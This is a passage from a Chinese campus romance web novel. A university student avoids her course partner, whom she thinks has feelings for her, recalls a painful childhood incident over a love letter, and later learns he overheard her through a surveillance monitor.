那种不好的预感再度来临,她指了指自己,战战兢兢地开口:“……我吗?”
尹老师笑而不语,只是他的反应早已说明了一切。
楚忘殊:“……”
真是自取其辱,她何必去猜一个早已写着答案的问题!
“老师,我们接下来会好好学的……”她干巴巴地说着轱辘话。
太尴尬了,考倒数第一和倒数第二的,直接被老师约谈。
“你们知道老师是个很民主的人,我们这门课也没那么死板。”尹老师背着手,忽然开启自夸模式。
楚忘殊不明所以,等他接下来的话。
“所以现在如果你们俩实在看不上对方,也可以随时提出申请解散的。”
“那成绩怎么办?”楚忘殊担忧地问。
祝屿白身形一顿,目光不经意地看向她,动了解散的念头吗?
一直沉默的祝屿白忽然开口,“谢谢老师,我们会好好学的。”
尹老师刚想说解散了也不会让他们挂科,会按照及格分六十算。
然而听到祝屿白的话,他了然地看了他一眼,将到嘴边的话咽下去。
他转身离开,回了讲台上,看向台下仍在叽叽喳喳讨论的学生们。
最后一排的楚忘殊,撑着下巴盯着桌子发呆。
她还在思考这节课收获的意外惊喜——祝屿白喜欢她。
她脑袋乱糟糟的,简直一团乱麻,不知道接下来该干什么。
视线中恍然出现一截冷白的手指——正伸向她面前的问卷。
“看这么入迷,要帮你裱起来好好欣赏吗?”祝屿白调侃的声音响起。
楚忘殊猛然惊醒,看向面前的问卷,才发现面前有两张问卷,她的和祝屿白的。
像碰到了什么烫手山芋一样,她猛地将问卷丢回给他,没接话茬,目不斜视地坐好,避免和祝屿白眼神接触。
气氛忽然就冷了下来。
楚忘殊如坐针毡,浑身不自在。
默了片刻,她捡起掉在地上的话,慢慢回了句,“这还要交回学校存档的,你怎么裱?”
祝屿白:“我……”
他才说出一个字,尹老师的声音在教室响起:“问卷都交换看过了吧?看完就交上来,最后一排的同学站起来收啊。”
他特意强调,“这次又不用你们写字,不要再磨磨唧唧的拽着不交了啊。”
底下笑开一片,都想起之前每次交作业都有人没写完,收作业差点变成“抢作业”。
尹老师的话来得刚好,将祝屿白的话打断。
楚忘殊莫名觉得好笑,要交上去,这他可没有什么方法能裱起来了吧?
她站起身,抑制不住嘴角的笑,十分欠揍地向他伸出手,“同学,请将问卷交上去。”
祝屿白看着她得意的笑,整只手去拿问卷,随后一把拍在她手里。
两人掌心隔着试卷相对。
楚忘殊脸上的笑僵住,手比脑子反应快,立马向下了些,拉开两人手心的距离。
随后不再看祝屿白,连忙走上前,去收其他的问卷。
一直到下课,她都一副心事重重的样子,一下课,更是逃亡一般,第一个冲出教室。
当天晚上,她躺在床上,怎么辗转反侧都睡不着。
一闭眼,满脑子都是祝屿白的样子。
想到他,她的脑子就自动循环播放“祝屿白喜欢你,祝屿白喜欢你……”
甚至配音还是宋词的声线。
真是要了命了。
半夜三点,再一次尝试入睡失败,楚忘殊掀开床帘,看向对面宋词的铺位,目光幽怨。
她知道这和宋词一点关系都没有,罪魁祸首是祝屿白。
但她现在找不到其他的发泄口,只能阴
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暗地暂且将“仇恨”转接到宋词的身上。
从伸手不见五指的漫漫黑夜熬到晨光熹微,她眼皮沉重得像在上面挂了千斤重的哑铃,终于按耐不住睡了过去。
好在这周她第二天没课,可以多睡会。
等她醒来时,宿舍里空无一人。
韩霜和程以凌去上课,宋词去社团值班。
想起宋词,楚忘殊在床上懵了一两秒,片刻后,她决定去找她。
昨晚睡得太晚,她此刻晕晕乎乎的,脚就像踩在棉花上一样虚浮。
外面强光射进屋内,她眼睛试探着睁开,好一会儿才适应。
慢吞吞地洗脸刷牙,她才发消息问宋词值班的地方在哪。
她只听宋词说今天上午要去值班,但没听说在哪里。
宋词直接发了个位置共享过来,附带一份电子地图,圈出她所在的楼层,生怕楚忘殊找不到。
楚忘殊找得挺顺利,几乎没怎么耽误就到了宋词在的办公室。
“啊啊啊啊,月亮,我无聊死了,宋然那脑袋不知道怎么想的,安排我这么多的值班,烦死了烦死了。”一开门,宋词就冲上来抱住她,滔滔不绝地向她抱怨。
两人坐下后,宋词还在口诛笔伐宋然,过了好久才想起来正经事。
“月亮,你来找我什么事啊?”宋词转着椅子玩,问她,“难不成是你和我心有灵犀,知道我无聊,专门过来陪我的?”
她越想嘴角笑得越大,下一秒楚忘殊打断她的畅想,“停停停,你看我像这么好心的人吗?”
宋词:“像啊。”
“您快别给我戴高帽了。”楚忘殊无奈,想起自己来这的目的,她神色凝重了些,“你还记得我们的赌约吗?”
宋词还是吊儿郎当的,“记得啊。”
“哎哎哎,你那门课是不是就昨天啊?”她想了下,八卦地凑过来,连忙追问,“怎么样怎么样,祝屿白考的分高吗?”
“他倒数第一。”
“啊?”
宋词震惊地睁大眼,一脸不可置信。
倒数第一?祝屿白?这两个词也有联系起来的一天?
“但——”楚忘殊又开口。
“哎哟,你说话大喘气的坏毛病什么时候有的?但什么但,快点说。”宋词心急得不行,捏了捏她的脸,噼里啪啦地讲出一大串。
“但他的答案都是正确的。”楚忘殊点点头,强调一遍,“比我自己去写可能都正确。”
“等会,我捋一下。”宋词被她说得有点懵。
“他的成绩很差,但答案是正确的?所以他很了解你,再进一步,就可以得到他喜欢你?”
虽然她不懂为什么会出现答案正确但得分低的情况,但不妨碍她得出最后结论——祝屿白喜欢楚忘殊。
宋词尖叫一声,吓得楚忘殊一哆嗦。
她连忙环顾周围,发现都没人才松一口气,还好没打扰到别人。
宋词捂着嘴巴,眼眶里还疑似有泪水。
她想要大喊出声,她的嗑的cp居然成真了!可她此刻激动得什么都说不出来。
下一秒,狂喜中的她忽然听到楚忘殊说:“但我不谈恋爱,你觉得我该如何拒绝他?”
43. 搭子日记四十三
值班室忽然安静下来,宋词眼里满是迷茫。
“你说什么?”她眨眨眼睛,问她,怀疑是自己听错了。
楚忘殊沉声,重复一遍,“我不谈恋爱,你觉得如何拒绝他合适?”
这回宋词听清楚了,她收敛了刚刚一脸狂喜的表情,小心翼翼地看着楚忘殊,“月亮,你不喜欢祝屿白吗?”
宋词问出口的下一秒就后悔了。
她听到楚忘殊说不想谈恋爱的第一反应居然是连祝屿白这样的人她都看不上吗?
却忘了他又不是香饽饽,干嘛非得每个人都喜欢。
宋词刚想开口道歉,楚忘殊先接了话,“不是。”
“啊?那你喜欢他?”宋词话接得飞快。
“也不是,我就是单纯害怕。”
“害怕?”宋词被她说得更懵了,想不通这有什么害怕的?
楚忘殊杵着下巴,另一只手有一搭没一搭地叩着桌子,沉默了好半天轻声开口:“你知道我第一次收到表白信是什么时候吗?”
“什么时候?”宋词凑上前,认真问,眼里满是好奇。
和楚忘殊认识了一年多,看似她对谁都好说话,从来没和任何人红过脸,甚至还会细腻地注意到他们三个人敏感的小心思。
宿舍四人大一一整年几乎形影不离,特别是大一学年的课表高度重合,所以四人几乎走到哪都在一起。
但宋词从来没觉得靠近过楚忘殊。
她好像对谁都好,又好像对谁都隔着一道说不清道不明的屏障。
和她认识这么久,宋词还是第一次听她谈起“情书”这样私人的事。
“初一下学期。”楚忘殊语气很平淡,好像不是在说自己的事,而是作为一个置身事外的看客,毫无感情地诉说着一个故事。
初一下学期,班级里不知道什么时候刮起一股“情书风”,一群人争先恐后给自己喜欢的人写起情书。
那时的楚忘殊,很怀疑他们懂不懂“喜欢”是什么感受。
虽然她也不懂,但不妨碍她这么想。
但她万万没想到,一个平常的课间操期间,有人往她书桌里塞了一封粉嫩嫩的信封,上面用狗刨式的字体写着“楚忘殊亲启”,后面还画了个丑不拉几的爱心。
很难想象,有人能把一个简单的爱心都画成那么……抽象。
她当时的同桌是个爱管闲事的小男孩,一看到,立马将信封抢过去,在教室里跑着大肆宣扬,最后很不幸地,这封她连内容都没看到和的情书到了和小男孩迎面撞上的班主任手里。
不出意外的,她被叫到办公室,进行了一顿思想教育。
班主任老师的教育她记不清了,无非就是些“你们这个年纪,心思要用在学习上”“等到了大学,有的是更好的人。”
她一句话都没反驳,毕竟她挺觉得自己的心思都放在学习上的。那时她甚至没丝毫兴趣找出是是谁写给她的情书,一心只想着等老师教育完回教室写完那套数学卷子。
直到老师怒气冲冲的一句“把你家长叫来”劈头砸下,她才回神。
她不确定地问了句“老师您刚才说什么?”
察觉到她的分神,班主任老师显得更生气了,她显然没有意识到自己的错误。
班主任老师心想,初中正是这群孩子三观形成的重要时期,特别是楚忘殊这孩子,以前从来没做过什么出格的事,没成想,她不论做什么都是不鸣则已,一鸣惊人啊,这次给了自己这么大的惊吓。
“这次你无论如何都要把你妈妈的联系方式给我,我亲自通知她说明情况,明白吗?”班主任老师厉声说,“还有,你写一份检讨书,下周一在升旗仪式上检讨。”
最近班级里盛行这种“早恋”不良风气太严重了,要好好治治,不然更多人跟风还会惹出更大的麻烦。
她带了楚忘殊的班级快满一年了,对她的家庭情况也是了解的,知道她妈妈常年在国外,她自小是跟着外公外婆住。
但这次,不能再请两位老人家,老一辈的人大多隔辈亲,她担心楚忘殊外公外婆舍不得说楚忘殊。
主要是楚忘殊妈妈,从来没在楚忘殊的事情上出现过。
在怎么说,也是孩子的亲生母亲,应该不会不爱孩子,不关心孩子的状况的吧?
那一天的楚忘殊,做什么事都心不在焉的。
她该如何联系……她妈妈呢?
打电话过去她能说些什么呢?
当天晚上,手机里久违地响起了母亲的声音,她隔着屏幕质问她,小小年纪不学好,为什么非得学人家谈恋爱?
楚忘殊不知道她和班主任老师是怎么聊的,又是如何得出这个结论,满脑子都是妈妈失望的声音,以及她最后那句“算了,我不想管你了,你自己看着办吧,以后我不想再接到这种电话。”
挂断音在安静的房间响起,格外刺耳,楚忘殊握着手机有些不知所措。
第二天,她又在书桌里发现了一个信封,这次的字比上一个好看了很多倍。
但一股恐惧瞬间掐住她脖颈。
那时候,她的意识里形成了一条诡异的逻辑链:有人喜欢她,不论她是否有回应,她身上的早恋标签就摘不下来了,而那在妈妈那里——意味着是不学无术的坏小孩,意味着是她再也不想多看一眼的麻烦。
所以从那以后,她更加两耳不闻窗外事。
直到现在,这条逻辑链似乎还存在于她的脑海里。
虽然她不再像从前一眼担心在妈妈眼里变成坏孩子,但她潜意识里,一直存在“被人喜欢、喜欢别人都是件麻烦事”的念头。
气氛逐渐沉默,似乎快要粘连在一起。
值班室里,宋词很有辨识度的笑声响起,“那你当时找到送你情书的人了吗?”
楚忘殊被她的笑声感染,想了想,略微有些尴尬地说,“没找到,但我给对方回了信,第二天信封不翼而飞,对方应该收到了。”
宋词见气氛轻松了些,她趁热打铁追问道:“好奇你回了什么?”
楚忘殊:“额……”
她尴尬地撇开眼,不愿直面当初的黑历史。
宋词见她这样更好奇了,“说嘛说嘛,不然我要抓心挠肺好几天,吃不下饭,睡不着觉。”她还装模做样地揉出几滴眼泪水,“你忍心看我这么痛苦吗?”
楚忘殊:“……”
她无奈地叹口气,反正说的也差不多了,不差这一点,于是心一横,“我当时太年轻,不知道脑袋在想什么,大意就是让对方好好学习,天天向上那一套呗。”
“哈哈哈哈哈,你别不是把你班主任教训你那套直接原封不动地转述给别人了?”宋词简直笑疯了,这人打小的思想觉悟就很高,太根正苗红了吧。
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“而且,貌似我那时候还挺装的,好像还给人写了句我只是他人生中一个匆匆过客,他以后会遇到更好的人……”楚忘殊光回想一下就尴尬得鸡皮疙瘩掉一地。
宋词笑得捂着肚子,这次是真笑出眼泪来了。
楚忘殊等她笑得差不多,慢悠悠地询问:“你经验丰富,所以你觉得用什么方法能让祝屿白不要喜欢我?”
宋词不满:“哎哎哎,你是在夸我还是损我啊?”
上大学来,她一段恋爱都没谈过,经验丰富,呵呵。
“你不是喜欢嗑cp吗?那些cp总有掰的吧?从你的角度看,是什么原因呢?”楚忘殊认真请教。
宋词发现她的推理好合理,甚至合理得很奇怪,但她又说不出什么奇怪的点,看着她一脸虚心请教的虔诚模样,她开始重认真思考她的问题。
片刻后,她神秘兮兮地勾了勾手指,楚忘殊凑近,她低声吐出一个字:“冷。”
“啊?你现在很冷吗?我觉得还好啊。”楚忘殊听完,摸了摸她裸露在外面的手臂,好像是有点凉,但也谈不上冷吧?
宋词服了她的脑回路,无语凝噎,自己在心里哄好自己好,轻敲了下楚忘殊额头,“笨蛋,我是说你要求的方法就是冷——冷落他,别和他见面,发消息什么的。”
楚忘殊皱眉,这是什么原理?真能有效。
“现在很多人都是三分钟热度啦,你冷落他一段时间,说不定他就很快就忘了。”宋词摆摆手,非常确信。
她继续说着,“你看祝屿白是不是和你上同一节课后才喜欢你的,你这么好,他臣服于你的魅力很正常啊,再说,他还和你是课程搭子,占据了近水楼台先得月这么大个优势,他喜欢你很情有可原啊。但我现在觉得他很大程度上是突然心血来潮,等发现你冷淡他,说不定他那么骄傲的人才折不下气节贴上来呢。”
楚忘殊一想很有道理,比如她自己就是这么个心理。
她决定就像宋词说的干。
“宋词——”值班室里忽然有声音喊宋词。
宋词吓了一大跳,抱紧楚忘殊的胳膊,“谁?谁在叫我?”
“是我,抬头,右上方,监控。”宋然坐在宿舍,看着电脑上监控下的画面,宋词正探头探脑地照他说的话找监控。
“你监视我?你还偷听我们讲话!!”看到监控,宋词瞬间就炸了,叉腰凶神恶煞地盯着监控的方向,恨不得眼神透过监控狠狠剜在宋然身上。
“你在密谋什么见不得人的事吗?而且这段时间本来就是要开监控的,群里说过。”宋然拧紧眉毛,腔调升了一个度,质问道:“你又没看?”
“咳咳,我待会去看。”宋词心虚,转念想到刚才她和楚忘殊说的话,不放心地再次问道:“不过你真没听到我们刚才的讲话吗?”
宋然:“……没有。”
“那就好那就好。”宋词劫后余生般感慨,看了眼时间,她对着监控喊了句“值班时间也到了啊,我先走了”,就挽着楚忘殊离开。
宋然和祝屿白是室友,万一刚才听到了,宋然告诉祝屿白怎么办?
还好她的担心没发生。
另一边的宋然,看她那样,心底涌起一股好奇,她到底说了什么?这么担心他听到……
“祝屿白,你刚听到她们说什么了吗?”他看向一直在宿舍的祝屿白问了句。
44. 搭子日记四十四
楚忘殊听从宋词的建议,开始刻意减少与祝屿白的联系。
平时的联系还好,祝屿白本就不是话多的人,发消息的频率很低,她回得也越来越慢。
可是到了每周一的课,她好像就没有办法避免和他见面。
尹老师一开始就说过,上课需要组队搭子坐在一起。
周日晚上,楚忘殊又开始失眠。
和上次失眠的原因一样——还是祝屿白。
她在头疼,明天到底该怎么做,才能不突兀地“疏远”他。
在床上翻来覆去,她想得一个头都快两个大了,还是没想到。
在她即将绝望时,脑袋突然灵光乍现——请假。
不去上课了,直接让他的脸都别出现在的自己眼前。
隔天,她打定主意,早上醒来先给尹老师发了请假的消息。
还好尹老师就这点好,在他的课上请假很容易,不会想其他老师一样还需要些条条框框的请假条之类的证明文件。
得到同意的回复后,她拉了拉被子,安心地睡起回笼觉。
“月亮,醒醒,起床上课啦。”程以凌操着黏黏糊糊的声音叫她,还以为睡过头了。
“我请假了,不去上课,你们去吧。”她小声地回了句。
宋词刷好牙出来,刚好听见她这句话,默默在心里嘀咕,又请假?祝屿白不会又要来找自己问一遍她的情况吧?
她没说出口,实在是此刻刚起床,浑身只剩下淡淡的死感,一点说话的欲望都没有。
然而她的担心没出现,整个上午,她都没等到祝屿白出现。
楚忘殊这边,倒是收到了祝屿白发来的好几条消息,不过都是很官方的消息——转达尹老师这节课所讲到的知识点,以及布置的作业。
知识点是祝屿白听课做的笔记。
他拍照发过来给她,没点开之前的图片有些模糊,但不妨碍看出字体很赏心悦目。
反正很对楚忘殊这个“字控”的胃口。
本来她打算忽视的,结果还是没忍住,点进去一张张保存下来。
欣赏字体的同时,她顺带瞟了一眼内容。
也是这一刻,她才切身体会到祝屿白为什么是学霸了。
即使是这样的“水课”,他都做了笔记,内容不仅没有半点随意,反而条理清晰,让她不乐意看的人都认真看完了。
将图片保存在特定的文件夹中,她退出回聊天页面看这节课的作业,心底祈祷不要再是什么需要两人线下见面才能做的作业。
幸好,她的许愿似乎被听到了。
作业很简单,只需要写一篇两人一起看的电影的观后感即可。
楚忘殊松了口气,开启头脑风暴回想上次和祝屿白看的电影是什么。
时间一分一秒地过去,她对着空白的记忆失神。
完了,她忘了那个电影名叫什么,脑袋里只有个模模糊糊的场面……
她趴在床上,搭子搜索:女主在结霜车窗上写“W”字母的电影叫什么?
点击确认搜索后,浏览页面上立马出现五花八门的答案,甚至还有好多条广告。
一个个往下看,她一直看到最下方,却还是没找到任何一个疑似可能的答案。
她猛然翻身朝上,眼神空洞,死脑子快想啊,她不要再去问祝屿白啊!!!
十分钟后,她发送:【CWS:我们上次看的电影叫什么名来着?】
算了,她还是不要为难自己的脑细胞。
祝屿白很快就甩过来一个片名,楚忘殊回了谢谢就立马溜,忙说自己有事就立马退出界面,手机黑屏丢在一边,不再看手机。
几秒后,她捞起手机,半眯着眼,小心翼翼地看有没有新消息过来。
还好手机一丝一毫的震动都没有。
她如释重负地长舒一口气,要是祝屿白再发句话过来,她都不知道该怎么回。
下一周,她如法炮制还是向尹老师请假没去上课。
她本以为这回尹老师肯定要问她理由了,毕竟连着两次,想不怀疑都难。
令她没想到的是,尹老师如上次一样干脆利落地同意了,半个标点符号的怀疑都没有,害她提前准备好的病假条完全没派上用场。
没了上课这一层关系,再加上自从楚忘殊和宋词在值班室谈过后,她就再也没瞎点鸳鸯谱,没像之前一个劲儿地在楚忘殊面前提祝屿白。
他在楚忘殊这的存在感似乎越来越低了,低到楚忘殊在一个周五晚上,从图书馆出来,看着眼前的瓢泼大雨,恍然惊觉此刻的场景有些熟悉。
祝屿白的脸就这样突兀地浮现在她脑海里。
很奇怪,她明明快半个月没见过他,此刻他的脸却很清晰,清晰到她能想象出他左眼角的那颗泪痣的颜色,甚至连泪痣距离眼角几公分都一清二楚。
也是此刻,她才发现距离他们最后一次对话,已经过去了快半个月。
好像,宋词的推测是对的。
她应该高兴,所有的一切都按照她的想法进行,“冷淡”战术很成功,相信假以时日,她的目标便会变成现实。
但好像也没有想象中那么高兴。
她抬眼,看了眼眼前狂风大作、雨水重重砸向地面的天气,左边那簇早上还开得正艳的桂花,此刻被暴雨无情打翻,花落得满地都是。
都怪这破天气,让她本应该开心的时刻,却没那么开心。
更难过的是,她发现她没带伞。
本来有了上次的经验,再加上江州这个月阴晴不定的天气,楚忘殊包里随时带着把伞。
但今天她来图书馆,就是一时兴起,直接空着手来的,连包也没带。
果然是天要下雨,雨要淋她,完全不讲道理。她带伞的时候一次也不下雨,偏偏这次她忘带了,就给她这么大个“惊喜”。
她低头在宿舍群里打字求救,来给她送把伞,消息还没发出去,就听到身后有人喊她。
“忘殊姐?”
楚忘殊循声望去,发现是粟裕。
“真是你啊,忘殊姐,我还以为我看错了。”粟裕笑着跑上前,边跑边说。
“你怎么在这?”楚忘殊不解,还不确定地看了看图书馆大门,确实是自己学校的图书馆
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啊,但不是一般不对外校人员开放吗?粟裕怎么会出现在这?
“我写论文要查点资料,只有你们学校的图书馆有。”粟裕边解释,边掏出一个借阅证给他看。
经他解释,楚忘殊才弄明白,江大的图书馆一般确实不对外校人员开放,但有需要,也可以凭着所在单位开局的证明函,办理为期一周有效的临时借阅证。
“忘殊姐,你没带伞吗?这么大的雨,我送你到宿舍楼下吧?”粟裕见她手上空荡荡的,再看一眼不远处连成线的大雨,提议道。
“不用,我……”楚忘殊刚想说她叫她舍友们送伞来就行,视线略过粟裕的遮挡,在他身后看见了个意想不到的人——祝屿白。
嗓子忽然卡了壳,没了声音,她直愣愣地看着粟裕身后的祝屿白。
“忘殊姐?”粟裕有些奇怪地喊她。
看清她的眼神,他好奇地循着她的视线往后看,就见一个身穿白色长大衣的男人朝他们的地方走近。
“楚忘殊,好巧。”粟裕看着对方朝楚忘殊打招呼,看起来很熟悉的样子。
“额……好巧。”楚忘殊磕磕巴巴地回复。
他出现得太突然,楚忘殊一时还没反应过来,不知道该如何相处。
粟裕在一旁安静地看着,明显看出两人之间的氛围有些奇怪。
他还从来没看过楚忘殊和人相处时,会露出这样一种无措感。
他直觉这个人不简单,抬眼打量着对方,不料对方也正好看向他。
两人视线对上。
“忘殊谁,这个是谁啊?你能介绍一下吗?”粟裕率先移开视线,低声问楚忘殊。
楚忘殊听他问,视线闪烁了下,回他:“额……他是祝屿白,我……朋友。”
她不知道为什么,此情此景下再见到祝屿白,总有股莫名其妙的心虚。
总有种前面的工夫都白费了的感觉是为什么?
“你没带伞吗?要不要我……”
送你。
祝屿白话还没说完,就被楚忘殊打断——
“对啊,我没带伞,不过刚好我弟弟也在这,我和他打一把伞了,你早点回去啊,我们先走了。”
她说着靠近粟裕,不动声色地拉开与祝屿白的距离,连忙示意粟裕撑开伞快点闪人。
粟裕心里还疑惑刚刚他提出送她的时候,她明明是打算拒绝的,现在为什么又突然改变了主意?但他什么也没问,听话地撑开伞,站在她身边。
楚忘殊连忙跑进伞下,对祝屿白摆摆手,说了句“我们先走了。”便头也不回地离开。
祝屿白站在原地,看着两人离开的身影,直至看不见才收回视线。
他垂头看了眼手里特意准备的伞,眼神晦暗不明,不知道在想什么。
另一边的楚忘殊,和粟裕一路无话。
沉默地走回宿舍楼下后,她叮嘱粟裕回校路上注意安全,到了给她发消息,看到粟裕乖乖点头答应,目送他离开后她才上楼。
刚到宿舍,手机忽然弹出条消息——
【ZYB:明天下午有时间吗?我想和你谈谈?】
45. 搭子日记四十五
祝屿白一定是专门来克她的。
又一次因为他失眠的楚忘殊,在黑夜中睁大眼睛如是想。
他到底要和她谈什么?
不能直接在手机上说吗,非得见面?
再不然,不能明天下午再给她发消息吗?害她此刻睡也睡不着……
楚忘殊眼皮沉重,却一点也睡不着,一闭眼就是祝屿白的样子。
她翻来覆去,恨不得去暴走一万米,来让自己的脑子不要想那么多。
她侧躺着,解锁手机,漫无目的地刷着,甚至打开了一章专业课的PPT,想以此来分散自己的注意力,催眠自己睡觉。
可不知不觉间,她又打开了微信,等她回神时,映入眼帘的就是祝屿白发过来的那句“我和你谈谈”。
楚忘殊:“……”
真是阴魂不散。
还好明天是周六,不上课,不然楚忘殊都快抑制不住问候他祖宗十八代的冲动了。
不知道过了多久,楚忘殊才沉沉睡去。
第二天醒来时,宿舍里已经空无一人,她将手机扒拉过来,看了眼时间,才发现居然已经下午两点了。
手机弹出很多信息,大多数是宿舍群的。
宋词说她要去染头发,让程以凌和韩霜陪同,早上起来看她还在睡觉,就没叫她。
楚忘殊睡眼惺忪,意识还不是很清醒。
也没打算回,刚想退出来接着再睡会,她眼睛忽然睁大,看到了祝屿白的消息。
【ZYB:下午三点,上次的活动室见。】
楚忘殊的脑袋瞬间开机,差点忘了,和这个害她失眠的罪魁祸首还约好了见面。
她用被子蒙住头,想逃避现实。
能不能有个人来告诉她,这一切只是一场噩梦啊……
过了五六秒,她从被子里抬起头,面无表情地开始起床。
算了,伸脖子是一刀,缩脖子也是一刀,反正早晚都要面对的。
她先抽空点了份外卖,才慢悠悠地去洗漱。
一早上什么都没吃,肚子怪饿的。
天塌下来还是吃饭要紧。
等她准备就绪,外卖也显示送达,她戴了个遮阳帽,拿好钥匙出了门,打算去食堂吃外卖,吃完刚好去祝屿白说的活动室。
食堂里没几个人,但空调开得很足,一进门一股凉爽从脚底直达头顶。
江州的天气比小孩的心情还善变,一会儿闷热得像是在一个蒸笼里,一会儿又刮起不要命的狂风,一会儿还可能毫无征兆地下起瓢泼大雨。
吃完饭后,她脸垮下来,又开始纠结祝屿白到底要和她谈什么啊?
不会是要当面向她表白吧?
楚忘殊苦着脸,完了,如果真是这样,他们连朋友都没得做了……
她磨磨蹭蹭地走着,潜意识里还是有些抗拒。
但该来的总会来。
楚忘殊站在活动室门口,深呼吸,抬手去敲门。
手还没碰到门,门忽然被人从里拉开。
是祝屿白。
两人目光直直对上,一时间两人都没说话。
楚忘殊干笑了一声,先开口:“你到这么早啊?”
“我约你,不应该先到吗?”祝屿白淡然地说,而后又略带调侃地道:“而且,我不先来,你有钥匙吗?”
楚忘殊:“……”
这就只是寒暄话好嘛……
这人真没点眼力见!!
祝屿白:“我以为你忘了路,刚想下去接你。”
楚忘殊从他侧面进了门,很自觉地在沙发上坐下,“这又不是什么迷宫。”
上次祝屿白带她来过一次,她早就记住路了。
楚忘殊这会儿很平静,一点也没有在路上的纠结。
“你找我干嘛?”她开门见山道。
她想好了,与其自己瞎猜,用虚无缥缈的答案来恐吓自己,不如直接问清楚。
有时候,或许害怕不是事情本身,而是未知。
“你最近为什么总躲着我?”祝屿白比她还直接。
楚忘殊眼神飘忽,舌头差点打结,“我……我哪有?”
救命,这人怎么不按套路出牌,这时候他不该顺着她的问题回答吗?然后她再提出下一个问题,将话题的主动权牢牢抓在手里。
结果他居然就这样抛出个问题,把她打得手忙脚乱的。
祝屿白坐在她对面,有理有据地说:“你连着两周都请假,但只是请周一早上的课,这还不够明显吗?”
“我没有……”楚王干巴巴地重复着,然后迅速转移话题,“你找我到底有什么事?”
“楚忘殊。”他还是没有正面回答,声音小了些,听着还有几分委屈,问她:“我们算朋友吧?”
“算啊。”楚忘殊不知道他为什么突然这样问,但还是如是回答道。
下一秒她警铃大作,他下一句不会是要说“我们不要做朋友了”吧?然后说他喜欢她?
正想着,祝屿白的声音响起,“我们……”
和她脑子里想的一样,她没思考,直接一个健步冲过去捂住他嘴,眼里满是惊慌。
这时候她只有一个念头,不能让他说下去。
不然,他们连朋友都做不了了。
他温热的呼吸洒在她手指上,掌心贴在他嘴唇上。
愣了好几秒,她才反应过来自己干了什么。
她后知后觉,自己的这个动作有多冒犯,僵硬地收回手,头低着,恨不得找个地缝钻进去。
缩回手的前一刻,她看到祝屿白两只耳朵红得不像话,像快滴血一般,在她松开手后,他呼吸重了几分,贪婪地呼吸着空气。
他不会在心里想她是要让因呼吸不畅窒息而亡吧……
楚忘殊此刻恨不得自己没长手,或者在她脑子里安装个程序,必须思考过后手才能行动。
“咳咳,”祝屿白轻咳了一声,楚忘殊神经紧绷着,时刻注意着他要说什么。
“我们是朋友的话,能不能请你帮我个忙?”祝屿白语气很平淡,一点也没受刚才如此抓马的插曲影响。
楚忘殊心虚地从包里拿了瓶水,抿了一口。原来他是要说这个啊,好像是她脑补太多了……
“当然可以,需要我做什么?”
“需要你喜欢我。”
噗——
楚忘殊还没咽下去的水被他这话惊得
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喷出来,她震惊地看向祝屿白,不敢相信自己刚才听到了什么?
这是能帮忙的吗?
然而下一瞬,他的话更是震撼她八百年——
“我有一个喜欢的人。”
“不是,你等会,这话什么意思?”楚忘殊蹙眉,脑袋一片混乱。
他说话怎么前言不搭后语的,学霸的逻辑呢?
“我有一个喜欢的人,但我不擅长追人,所以来选修了这门课。”他看向她,“所以我请你扮演你喜欢我,或者只是配合我完成这门课。”
“你的意思是,你真打算从这门课学习怎么追人?”楚忘殊问道,她此刻更混乱了,比来到这里前还要混乱,垂头理他这些话的关系,没注意到祝屿白因为紧张而握紧的手。
祝屿白不是喜欢她,而是真的想学这门课的知识。
而她,恰好和他成了组队搭子,他了解她一点也是为了更好的学这门课?
楚忘殊头皮一紧,完了,她好像闹了一个很大的乌龙……
但他说的是真的吗?
“你喜欢的人是谁?”她试探性地开口,“太涉及隐私的话,我能不能问问你和你喜欢的人什么时候认识的?”
祝屿白很郑重地回答:“在很小的时候。她对我的人生,产生过很大的影响。”
楚忘殊心里的疑惑解开了。
他喜欢的人,不是她。
她和祝屿白真正熟悉,也不过是这学期才开始。
他说他喜欢的那个人,对他的人生产生了很大的影响,又是在很小的时候就认识了,怎么想都不可能是她。
楚忘殊想起之前和宋词讨论,觉得祝屿白喜欢她。
现在想想,好像是她太先入为主,听着宋词条理清晰的分析,不知不觉就先代入了答案,后续所有的分析都基于潜意识里“他喜欢我”的前提,所以将祝屿白无论什么样的和行为,都理解成他喜欢她的表现。
也或许,是她潜意识就希望是这个结果……
但现在,她不想去探究这些了。
反正,祝屿白都有了喜欢的人。
“那看来还是青梅竹马啊。”楚忘殊抬起头,撑开一个笑脸,略微调侃道:“放心,作为朋友我一定会好好帮你学习的,祝你早日赢得美人芳心。”
“那没什么事,我先走了,我舍友们还在楼下等我。”楚忘殊此刻只想赶紧离开。
祝屿白还没回答,她就拉开门出了房间。
撑着电梯一路往下,到达一楼后,她随意找了条小路走走。
她说了谎,宋词她们根本还没回来。
这会儿她也不知道该干什么,只觉得很茫然,索性随便找了条路乱逛。
祝屿白仍保持着她离开时的动作,一动不动地坐在沙发上。
此刻他心脏砰砰直跳,头一次很恐慌,不知道自己做的对不对。
盯着刚才楚忘殊坐的位置,思绪飘到不久前。
那天他刚向吴教授交完论文,回到宿舍时里面没有一个人都没有。
宋然座位上没人,但电脑开着。
他没多管闲事的爱好,根本没在意。
可是下一秒,电脑里传来了楚忘殊的声音。
46. 搭子日记四十六
他住的宿舍在边缘,和对面马路就隔了一条河的距离。
不远处似乎有人在搬家,噼里啪啦的鞭炮声响起。
鞭炮终于放完了,安静的宿舍里传来楚忘殊的声音。
从电脑里传出的声音,和平时有稍许不同。
但他还是第一时间就听出是她。
他没有故意偷听别人谈话的癖好,刚想走出教室,忽然从楚忘殊口中听到了他的名字。
脚忽然就走不动了。
他蹲在原地,安静地听着。
听到“赌约”以及“倒数第一”时,他愣了一秒,随后反应过来,她在和她的室友打赌,而赌约的内容关于他。
意识到这点,他笑了笑,半点没有被人当成茶余饭后谈资的反感。
这反而说明,在他看不到的地方,他在她身边也不是全无存在感。
只是下一秒,他脸上的笑就僵住了
她发现了他喜欢她,她说她不谈恋爱,她在询问该如何拒绝他。
脚底像被灌了铅,他愣愣地站在原地,一动不动,无力感从四周不断涌上来。
他不怕等,他也不怕自己的喜欢被掩埋。
但他怕她不喜欢他,怕自己的喜欢对她来说是负担。
平日里对代码游刃有余的思考能力,此刻消失殆尽,只剩下迷茫,不知道该怎么办。
电脑那端传来的声音还在继续。
祝屿白听到有人问她不喜欢他吗?
“不喜欢”没有经她口亲自说出来。
祝屿白心想,那就足够了,他此刻不奢求她喜欢他,只希望她不讨厌他就好。
而后,他听见她说害怕。
隔着电脑,楚忘殊和祝屿白完成一场交谈。
或许更确切地说,是他完成了一场聆听。
